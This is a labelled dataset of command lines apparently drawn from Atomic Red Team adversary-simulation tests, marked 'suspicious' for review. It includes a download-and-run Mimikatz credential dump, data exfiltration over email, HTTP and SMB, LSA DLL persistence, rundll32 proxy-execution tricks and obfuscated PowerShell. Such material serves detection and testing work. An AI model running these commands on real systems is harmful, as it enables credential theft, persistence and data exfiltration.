cc75da7d4702fa685dfdf978,"Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments ""#{input_file}"" -SmtpServer #{smtp_server}","Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments ""#{input_file}"" -SmtpServer #{smtp_server}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027/T1027.yaml,DLP Evasion via Sensitive Data in VBA Macro over email,T1027,"[""T1027""]",windows,0.9,False,"Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email.
Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
04d606f3170de4c81c9526c5,"Invoke-WebRequest -Uri #{ip_address} -Method POST -Body ""#{input_file}""","Invoke-WebRequest -Uri #{ip_address} -Method POST -Body ""#{input_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027/T1027.yaml,DLP Evasion via Sensitive Data in VBA Macro over HTTP,T1027,"[""T1027""]",windows,0.9,False,"Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using HTTP.
Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c01931881acbf624bb38b4cd,"$cmDwhy =[TyPe](""{0}{1}"" -f 'S','TrING') ; $pz2Sb0 =[TYpE](""{1}{0}{2}""-f'nv','cO','ert') ; &(""{0}{2}{3}{1}{4}"" -f'In','SiO','vOKe-EXp','ReS','n') ( (&(""{1}{2}{0}""-f'blE','gET-','vaRIA') ('CMdw'+'h'+'y')).""v`ALUe""::(""{1}{0}"" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] ( $Pz2sB0::""t`OinT`16""(( [sTring]${_}) ,8)))})) )","$cmDwhy =[TyPe](""{0}{1}"" -f 'S','TrING') ; $pz2Sb0 =[TYpE](""{1}{0}{2}""-f'nv','cO','ert') ; &(""{0}{2}{3}{1}{4}"" -f'In','SiO','vOKe-EXp','ReS','n') ( (&(""{1}{2}{0}""-f'blE','gET-','vaRIA') ('CMdw'+'h'+'y')).""v`ALUe""::(""{1}{0}"" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] ( $Pz2sB0::""t`OinT`16""(( [sTring]${_}) ,8)))})) )",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027/T1027.yaml,Obfuscated Command in PowerShell,T1027,"[""T1027""]",windows,0.9,False,"This is an obfuscated PowerShell command which when executed prints ""Hello, from PowerShell!"". Example is from the 2021 Threat Detection Report by Red Canary.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
aef1353db1a013307245f9b9,"$file = New-Item $env:windir\registration\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host ""File created: $($file.FullName)""","$file = New-Item $env:windir\registration\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host ""File created: $($file.FullName)""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027/T1027.yaml,Snake Malware Encrypted crmlog file,T1027,"[""T1027""]",windows,0.9,False,"The following Atomic Test will create a file with a specific name and sets its attributes to Hidden, System, and Archive. This was related to the Snake Malware campaign and is later decrypted by Snake's kernel driver.
[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF)  
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4781cc7a86f7feba8af59753,"$fileNameToDelete = '04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog'; $filePathToDelete = ""$env:windir\registration\""; $fullPathToDelete = Join-Path $filePathToDelete $fileNameToDelete; if (Test-Path $fullPathToDelete) { Remove-Item -Path $fullPathToDelete -Force; Write-Host ""File deleted: $fullPathToDelete"" } else { Write-Host ""File not found: $fullPathToDelete"" }","$fileNameToDelete = '04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog'; $filePathToDelete = ""$env:windir\registration\""; $fullPathToDelete = Join-Path $filePathToDelete $fileNameToDelete; if (Test-Path $fullPathToDelete) { Remove-Item -Path $fullPathToDelete -Force; Write-Host ""File deleted: $fullPathToDelete"" } else { Write-Host ""File not found: $fullPathToDelete"" }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027/T1027.yaml,Snake Malware Encrypted crmlog file,T1027,"[""T1027""]",windows,0.55,True,"The following Atomic Test will create a file with a specific name and sets its attributes to Hidden, System, and Archive. This was related to the Snake Malware campaign and is later decrypted by Snake's kernel driver.
[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF)  
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
090b690241ffc5acd0584976,"""PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js""","""PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027/T1027.yaml,Execution from Compressed JScript File,T1027,"[""T1027""]",windows,0.9,False,"Mimic execution of compressed JavaScript file. When successfully executed, calculator.exe will open. This test is meant to help emulate Gootloader as per https://redcanary.com/blog/gootloader/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
42df2c56841bbbb18cc8ae5c,taskkill /f /im calculator.exe >nul 2>nul,taskkill /f /im calculator.exe >nul 2>nul,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027/T1027.yaml,Execution from Compressed JScript File,T1027,"[""T1027""]",windows,0.55,True,"Mimic execution of compressed JavaScript file. When successfully executed, calculator.exe will open. This test is meant to help emulate Gootloader as per https://redcanary.com/blog/gootloader/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
57a446122a01c6661af7d264,"$ps = [char[]](112,111,119,101,114,115,104,101,108,108) $cmd = [char[]](83,116,97,114,116,45,80,114,111,99,101,115,115,32,99,97,108,99,46,101,120,101) & (-join $ps) ""-Command"" (-join $cmd)","$ps = [char[]](112,111,119,101,114,115,104,101,108,108) $cmd = [char[]](83,116,97,114,116,45,80,114,111,99,101,115,115,32,99,97,108,99,46,101,120,101) & (-join $ps) ""-Command"" (-join $cmd)",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027/T1027.yaml,Obfuscated PowerShell Command via Character Array,T1027,"[""T1027""]",windows,0.9,False,"Spawns a child PowerShell process using character array obfuscation. 
Both the PowerShell binary name and executed command are constructed 
from ASCII values at runtime to evade string-based detection.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
70e4dab19ecadb0f5bfd0e07,"reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ ""PathToAtomicsFolder\T1556.002\lsa_backup.reg"" $passwordFilterName = (Copy-Item ""#{dll_path}\#{dll_name}"" -Destination ""C:\Windows\System32"" -PassThru).basename $lsaKey = Get-Item ""HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"" $notificationPackagesValues = $lsaKey.GetValue(""Notification Packages"") $notificationPackagesValues += $passwordFilterName Set-ItemProperty ""HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"" ""Notification Packages"" $notificationPackagesValues","reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ ""PathToAtomicsFolder\T1556.002\lsa_backup.reg"" $passwordFilterName = (Copy-Item ""#{dll_path}\#{dll_name}"" -Destination ""C:\Windows\System32"" -PassThru).basename $lsaKey = Get-Item ""HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"" $notificationPackagesValues = $lsaKey.GetValue(""Notification Packages"") $notificationPackagesValues += $passwordFilterName Set-ItemProperty ""HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"" ""Notification Packages"" $notificationPackagesValues",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1556.002/T1556.002.yaml,Install and Register Password Filter DLL,T1556.002,"[""T1556.002""]",windows,0.9,False,"Uses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.
The binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection
Source is in src folder. 
This does require a reboot to see the filter loaded into lsass.exe. 
It does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for cleanup.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
740642da554c09cafef9bd29,"reg.exe import ""PathToAtomicsFolder\T1556.002\lsa_backup.reg"" remove-item C:\Windows\System32\#{dll_name}","reg.exe import ""PathToAtomicsFolder\T1556.002\lsa_backup.reg"" remove-item C:\Windows\System32\#{dll_name}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1556.002/T1556.002.yaml,Install and Register Password Filter DLL,T1556.002,"[""T1556.002""]",windows,0.55,True,"Uses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.
The binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection
Source is in src folder. 
This does require a reboot to see the filter loaded into lsass.exe. 
It does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for cleanup.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
940f2cf8cc6c777218888bd6,"reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ ""PathToAtomicsFolder\T1556.002\lsa_backup.reg"" $passwordFilterName = (Copy-Item ""#{dll_path}\#{dll_name}"" -Destination ""C:\Windows\System32"" -PassThru).basename $lsaKey = Get-Item ""HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"" $AuthenticationPackagesValues = $lsaKey.GetValue(""Authentication Packages"") $AuthenticationPackagesValues += $passwordFilterName Set-ItemProperty ""HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"" ""Authentication Packages"" $AuthenticationPackagesValues","reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ ""PathToAtomicsFolder\T1556.002\lsa_backup.reg"" $passwordFilterName = (Copy-Item ""#{dll_path}\#{dll_name}"" -Destination ""C:\Windows\System32"" -PassThru).basename $lsaKey = Get-Item ""HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"" $AuthenticationPackagesValues = $lsaKey.GetValue(""Authentication Packages"") $AuthenticationPackagesValues += $passwordFilterName Set-ItemProperty ""HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"" ""Authentication Packages"" $AuthenticationPackagesValues",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1556.002/T1556.002.yaml,Install Additional Authentication Packages,T1556.002,"[""T1556.002""]",windows,0.9,False,"lsass.exe loads all DLLs specified by the Authentication Packages REG_MULTI_SZ value.
Uses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.
The binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection
Source is in src folder. 
This does require a reboot to see the filter loaded into lsass.exe. 
It does require Administrative privileges to import the clean registry valu",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
15dacdc8dfd2b39829ab2fdd,yes > /dev/null,yes > /dev/null,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1496/T1496.yaml,FreeBSD/macOS/Linux - Simulate CPU Load with Yes,T1496,"[""T1496""]","linux,macos",0.9,False,"This test simulates a high CPU load as you might observe during cryptojacking attacks.
End the test by using CTRL/CMD+C to break.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8d16f05acd5e868ad2f6a133,$end = (Get-Date).AddSeconds(#{duration_seconds}) 1..#{cpu_threads} | ForEach-Object { Start-Job { param($t) while((Get-Date) -lt $t) { $i=0; while($i -lt 200000){$i++} } } -ArgumentList $end } Get-Job | Wait-Job | Remove-Job,$end = (Get-Date).AddSeconds(#{duration_seconds}) 1..#{cpu_threads} | ForEach-Object { Start-Job { param($t) while((Get-Date) -lt $t) { $i=0; while($i -lt 200000){$i++} } } -ArgumentList $end } Get-Job | Wait-Job | Remove-Job,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1496/T1496.yaml,Windows - Simulate CPU Load with PowerShell,T1496,"[""T1496""]",windows,0.9,False,"This test simulates high CPU load using PowerShell, commonly seen in resource hijacking.
Spawns background jobs to stress CPU cores for a specified duration.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b0650c4dec750dc3db138caf,New-SmbMapping -RemotePath '#{remote_path}' -TransportType QUIC -SkipCertificateCheck copy '#{local_file}' 'Z:\',New-SmbMapping -RemotePath '#{remote_path}' -TransportType QUIC -SkipCertificateCheck copy '#{local_file}' 'Z:\',bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1570/T1570.yaml,Exfiltration Over SMB over QUIC (New-SmbMapping),T1570,"[""T1570""]",windows,0.9,False,"Simulates an attacker exfiltrating data over SMB over QUIC using the New-SmbMapping command.
Prerequisites:
  - A file server running Windows Server 2022 Datacenter: Azure Edition
  - A Windows 11 computer
  - Windows Admin Center
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
42d340a263eba86dcdb9ca1a,NET USE * '#{remote_path}' /TRANSPORT:QUIC /SKIPCERTCHECK copy '#{local_file}' '*:\',NET USE * '#{remote_path}' /TRANSPORT:QUIC /SKIPCERTCHECK copy '#{local_file}' '*:\',bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1570/T1570.yaml,Exfiltration Over SMB over QUIC (NET USE),T1570,"[""T1570""]",windows,0.9,False,"Simulates an attacker exfiltrating data over SMB over QUIC using the NET USE command.
Prerequisites:
  - A file server running Windows Server 2022 Datacenter: Azure Edition
  - A Windows 11 computer
  - Windows Admin Center
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
31e5434b68aad76c2384866a,"rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();GetObject(""script:#{file_url}"").Exec();window.close();","rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();GetObject(""script:#{file_url}"").Exec();window.close();",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.011/T1218.011.yaml,Rundll32 execute JavaScript Remote Payload With GetObject,T1218.011,"[""T1218.011""]",windows,0.9,False,"Test execution of a remote script using rundll32.exe. Upon execution notepad.exe will be opened. 
This has been used by Win32/Poweliks malware and works as described [here](https://www.stormshield.com/news/poweliks-command-line-confusion/)

Note: The GetObject function is no longer supported in Internet Explorer v9 (2011) and later so this technique would only work where very old versions of IE are installed. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d19b935754920d313f3b2526,taskkill /IM notepad.exe /f,taskkill /IM notepad.exe /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.011/T1218.011.yaml,Rundll32 execute JavaScript Remote Payload With GetObject,T1218.011,"[""T1218.011""]",windows,0.55,True,"Test execution of a remote script using rundll32.exe. Upon execution notepad.exe will be opened. 
This has been used by Win32/Poweliks malware and works as described [here](https://www.stormshield.com/news/poweliks-command-line-confusion/)

Note: The GetObject function is no longer supported in Internet Explorer v9 (2011) and later so this technique would only work where very old versions of IE are installed. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c8d70d8a3de238c0efb894d8,"rundll32 vbscript:""\..\mshtml,RunHTMLApplication ""+String(CreateObject(""WScript.Shell"").Run(""#{command_to_execute}""),0)","rundll32 vbscript:""\..\mshtml,RunHTMLApplication ""+String(CreateObject(""WScript.Shell"").Run(""#{command_to_execute}""),0)",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.011/T1218.011.yaml,Rundll32 execute VBscript command,T1218.011,"[""T1218.011""]",windows,0.9,False,"Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test.
Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/
Upon execution calc.exe will be launched
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c38a86f7b43a455696c43ec0,"rundll32 vbscript:""\..\mshtml,#135 ""+String(CreateObject(""WScript.Shell"").Run(""#{command_to_execute}""),0)","rundll32 vbscript:""\..\mshtml,#135 ""+String(CreateObject(""WScript.Shell"").Run(""#{command_to_execute}""),0)",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.011/T1218.011.yaml,Rundll32 execute VBscript command using Ordinal number,T1218.011,"[""T1218.011""]",windows,0.9,False,"Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test.
Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/
Upon execution calc.exe will be launched
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
38cf4b73080b955bbd44901c,"rundll32.exe advpack.dll,LaunchINFSection ""#{inf_to_execute}"",DefaultInstall_SingleUser,1,","rundll32.exe advpack.dll,LaunchINFSection ""#{inf_to_execute}"",DefaultInstall_SingleUser,1,",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.011/T1218.011.yaml,Rundll32 advpack.dll Execution,T1218.011,"[""T1218.011""]",windows,0.9,False,"Test execution of a command using rundll32.exe with advpack.dll.
Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Advpack.yml
Upon execution calc.exe will be launched
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
96ac71920e5b875cf3915bb9,"rundll32.exe ieadvpack.dll,LaunchINFSection ""#{inf_to_execute}"",DefaultInstall_SingleUser,1,","rundll32.exe ieadvpack.dll,LaunchINFSection ""#{inf_to_execute}"",DefaultInstall_SingleUser,1,",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.011/T1218.011.yaml,Rundll32 ieadvpack.dll Execution,T1218.011,"[""T1218.011""]",windows,0.9,False,"Test execution of a command using rundll32.exe with ieadvpack.dll.
Upon execution calc.exe will be launched

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Ieadvpack.yml
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a6f001959b7316aad6520fb2,"rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 ""#{inf_to_execute}""","rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 ""#{inf_to_execute}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.011/T1218.011.yaml,Rundll32 syssetup.dll Execution,T1218.011,"[""T1218.011""]",windows,0.9,False,"Test execution of a command using rundll32.exe with syssetup.dll. Upon execution, a window saying ""installation failed"" will be opened

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Syssetup.yml
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
defe12e9c42121e9e58ed052,"rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 ""#{inf_to_execute}""","rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 ""#{inf_to_execute}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.011/T1218.011.yaml,Rundll32 setupapi.dll Execution,T1218.011,"[""T1218.011""]",windows,0.9,False,"Test execution of a command using rundll32.exe with setupapi.dll. Upon execution, a windows saying ""installation failed"" will be opened

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Setupapi.yml
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
44df5961c9defe8eb1a0a3b2,"rundll32.exe url.dll,OpenURL ""PathToAtomicsFolder\T1218.011\src\index.hta"" rundll32.exe URL.dll,FileProtocolHandler ""PathToAtomicsFolder\T1218.011\src\akteullen.vbs""","rundll32.exe url.dll,OpenURL ""PathToAtomicsFolder\T1218.011\src\index.hta"" rundll32.exe URL.dll,FileProtocolHandler ""PathToAtomicsFolder\T1218.011\src\akteullen.vbs""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.011/T1218.011.yaml,Execution of HTA and VBS Files using Rundll32 and URL.dll,T1218.011,"[""T1218.011""]",windows,0.9,False,"IcedID uses this TTP as follows:
  rundll32.exe url.dll,OpenURL %PUBLIC%\index.hta
Trickbot uses this TTP as follows:
  rundll32.exe URL.dll,FileProtocolHandler C:\\..\\Detail\\akteullen.vbs

In this atomic, the sample hta file opens the calculator and the vbs file shows a message dialog with ""rundll32 spawned wscript""
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
39ad15053be24d45d5d9173b,"rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}","rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.011/T1218.011.yaml,Launches an executable using Rundll32 and pcwutl.dll,T1218.011,"[""T1218.011""]",windows,0.9,False,"Executes the LaunchApplication function in pcwutl.dll to proxy execution of an executable.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
18f6ef5749cec9ff6d289203,"rundll32.exe #{input_file}, StartW","rundll32.exe #{input_file}, StartW",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.011/T1218.011.yaml,Execution of non-dll using rundll32.exe,T1218.011,"[""T1218.011""]",windows,0.9,False,"Rundll32.exe running non-dll 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e86a4435ba40c76829179d67,"rundll32.exe ""#{input_file}"",#2","rundll32.exe ""#{input_file}"",#2",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.011/T1218.011.yaml,Rundll32 with Ordinal Value,T1218.011,"[""T1218.011""]",windows,0.9,False,"Rundll32.exe loading dll using ordinal value #2 to DLLRegisterServer. 
Upon successful execution, Calc.exe will spawn.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3c77896a39489650d813fce0,"rundll32.exe shell32.dll,Control_RunDLL ""#{input_file}""","rundll32.exe shell32.dll,Control_RunDLL ""#{input_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.011/T1218.011.yaml,Rundll32 with Control_RunDLL,T1218.011,"[""T1218.011""]",windows,0.9,False,"Rundll32.exe loading dll with 'control_rundll' within the command-line, loading a .cpl or another file type related to CVE-2021-40444. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
063bef45f055b4ab0cf05084,"copy #{exe_to_launch} not_an_scr.scr rundll32.exe desk.cpl,InstallScreenSaver not_an_scr.scr","copy #{exe_to_launch} not_an_scr.scr rundll32.exe desk.cpl,InstallScreenSaver not_an_scr.scr",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.011/T1218.011.yaml,Rundll32 with desk.cpl,T1218.011,"[""T1218.011""]",windows,0.9,False,"Rundll32.exe loading an executable renamed as .scr using desk.cpl 
Reference: 
  - [LOLBAS - Libraries/Desk](https://lolbas-project.github.io/lolbas/Libraries/Desk/)
SIGMA rules:
  - [SCR File Write Event](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/file_event/file_event_win_new_src_file.yml)
  - [Rundll32 InstallScreenSaver Execution](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/process_creation/pro",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
89bfec323fadca9adbb0fe02,del not_an_scr.scr,del not_an_scr.scr,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.011/T1218.011.yaml,Rundll32 with desk.cpl,T1218.011,"[""T1218.011""]",windows,0.55,True,"Rundll32.exe loading an executable renamed as .scr using desk.cpl 
Reference: 
  - [LOLBAS - Libraries/Desk](https://lolbas-project.github.io/lolbas/Libraries/Desk/)
SIGMA rules:
  - [SCR File Write Event](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/file_event/file_event_win_new_src_file.yml)
  - [Rundll32 InstallScreenSaver Execution](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/process_creation/pro",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2a47e050983f74d7c4ba553f,"rundll32.exe #{dll_file},krnl","rundll32.exe #{dll_file},krnl",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.011/T1218.011.yaml,Running DLL with .init extension and function,T1218.011,"[""T1218.011""]",windows,0.9,False,"This test, based on common Gamarue tradecraft, consists of a DLL file with a .init extension being run by rundll32.exe. When this DLL file's 'krnl' function is called, it launches a Windows pop-up.
DLL created with the AtomicTestHarnesses Portable Executable Builder script.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bb910717d3e239459efb8abe,"rundll32.exe url.dll,FileProtocolHandler #{command_to_execute}","rundll32.exe url.dll,FileProtocolHandler #{command_to_execute}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.011/T1218.011.yaml,Rundll32 execute command via FileProtocolHandler,T1218.011,"[""T1218.011""]",windows,0.9,False,"Test execution of a command using rundll32.exe and the FileProtocolHandler technique.
Upon execution, calc.exe will be launched.
This technique is documented by Levan Abesadze - https://medium.com/@Wolverineisstillalive/system-binary-proxy-execution-rundll32-bypass-method-790871e1f2b7
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
99e6fcbc85729897dda18422,"rundll32.exe zipfldr.dll,RouteTheCall ""#{exe_to_launch}""","rundll32.exe zipfldr.dll,RouteTheCall ""#{exe_to_launch}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.011/T1218.011.yaml,Rundll32 execute payload by calling RouteTheCall,T1218.011,"[""T1218.011""]",windows,0.9,False,"Launch an executable payload by calling RouteTheCall. Test execution of a command using rundll32.exe to execute a payload{calc.exe} by calling RouteTheCall. Upon execution, calc.exe will be launched.
Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Zipfldr.yml
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0fb90365b43ce020876520c3,"powershell.exe ""IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds""","powershell.exe ""IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,Mimikatz,T1059.001,"[""T1059.001""]",windows,0.9,False,"Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b6f435ed0f94b000b8b0cf4e,"import-module ""PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"" try { Invoke-BloodHound -OutputDirectory $env:Temp } catch { $_; exit $_.Exception.HResult} Start-Sleep 5","import-module ""PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"" try { Invoke-BloodHound -OutputDirectory $env:Temp } catch { $_; exit $_.Exception.HResult} Start-Sleep 5",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.001/T1059.001.yaml,Run BloodHound from local disk,T1059.001,"[""T1059.001""]",windows,0.9,False,"Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.

Successful execution will produce stdout message stating ""SharpHound Enumeration Completed"". Upon completion, final output will be a *BloodHound.zip file.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
